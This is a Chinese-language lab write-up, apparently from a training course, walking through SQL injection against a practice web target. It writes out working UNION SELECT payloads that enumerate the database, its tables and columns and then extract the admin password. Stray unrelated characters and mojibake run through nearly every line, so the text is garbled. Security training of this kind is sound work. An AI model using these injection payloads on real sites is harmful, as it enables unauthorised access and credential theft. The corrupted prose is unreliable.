本篇為web安全第一篇郁岩,例子是掌控安全提供的供學員實踐用的。
通過第一題睦尽,學習SQL注入器净,總結記錄在此。
下面当凡,對靶場進行SQL注入山害。
點擊查看新聞后發(fā)現(xiàn)網(wǎng)址為http://117.41.229.122:8003/?id=1
。
1沿量、首先判斷該網(wǎng)址是否存在SQL注入漏洞浪慌。
在網(wǎng)址后拼接and 1=1
,即結果為http://117.41.229.122:8003/?id=1 and 1=1
朴则。發(fā)現(xiàn)頁面可以正常顯示权纤,則說明頁面存在漏洞。
2乌妒、猜測注入點有多少個(就是表的字段數(shù)是多少)汹想。
在網(wǎng)址后拼接order by 10
,意思就是以第10個字段進行升序排序撤蚊。默認的ASC可不寫古掏。DESC是降序。如果頁面正常顯示拴魄,則表明席镀,所查的表中的字段數(shù)大于等于10豪诲。如果返回異常服赎,則表明交播,所查的表中的字段數(shù)小于10,然后通過二分法缺厉,改變數(shù)字。通過多次測試提针,最終可找到一個最大的數(shù)字辐脖,使得頁面返回正常嗜价。該靶場的注入點為2久锥。
3媒鼓、查數(shù)據(jù)庫版本错妖。
在網(wǎng)址后拼接and 1=2 union select 1,2,3...n-1, version()
绿鸣。其中n為注入點個數(shù)暂氯。前面的查詢語句與上一個false查詢出一個空表,然后在聯(lián)合查詢,由于第二步得到注入點為2,則查詢語句為select 1,version()
宵蕉。
4.查出數(shù)據(jù)庫名。
在網(wǎng)址后拼接and 1=2 union select 1,database()
亿遂。可查出當前正在使用的數(shù)據(jù)庫的名稱是越。該靶場的數(shù)據(jù)庫名為maoshe
倚评。
5.查出表名。
在網(wǎng)址后拼接and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()
后豫。
該靶場數(shù)據(jù)庫中,第一張表則顯示在頁面上惫霸,為admin
。
information_schema數(shù)據(jù)庫是MySQL系統(tǒng)自帶的數(shù)據(jù)庫葱弟,它提供了數(shù)據(jù)庫元數(shù)據(jù)的訪問方式壹店。感覺information_schema就像是MySQL實例的一個百科全書,記錄了數(shù)據(jù)庫當中大部分我們需要了結的信息翘悉,比如字符集茫打,權限相關居触,數(shù)據(jù)庫實體對象信息妖混,外檢約束,分區(qū)轮洋,壓縮表制市,表信息,索引信息弊予,參數(shù)祥楣,優(yōu)化,鎖和事物等等。通過information_schema我們可以窺透整個MySQL實例的運行情況误褪,可以了結MySQL實例的基本信息责鳍,甚至優(yōu)化調優(yōu),維護數(shù)據(jù)庫等兽间。
6历葛、查詢密碼。
由于表名為admin
嘀略,我們可以猜測有密碼恤溶,字段一般為password
≈难颍可嘗試在網(wǎng)址后拼接and 1=2 union select 1,password from admin
咒程。
即可拿到管理員密碼。
問題:
- 如果第五步中查出的第一張表不為
admin
讼育,則這種方法就無法獲得我們想要的表名帐姻。 - 如果第六步我們猜測字段名錯誤,不為
password
則這種方法也無法獲得密碼奶段。
附上查詢字段名的語句卖宠。
and 1=2 union select column_name from information_schema.columns where table_name='table_name' and table_schema='db_name'
。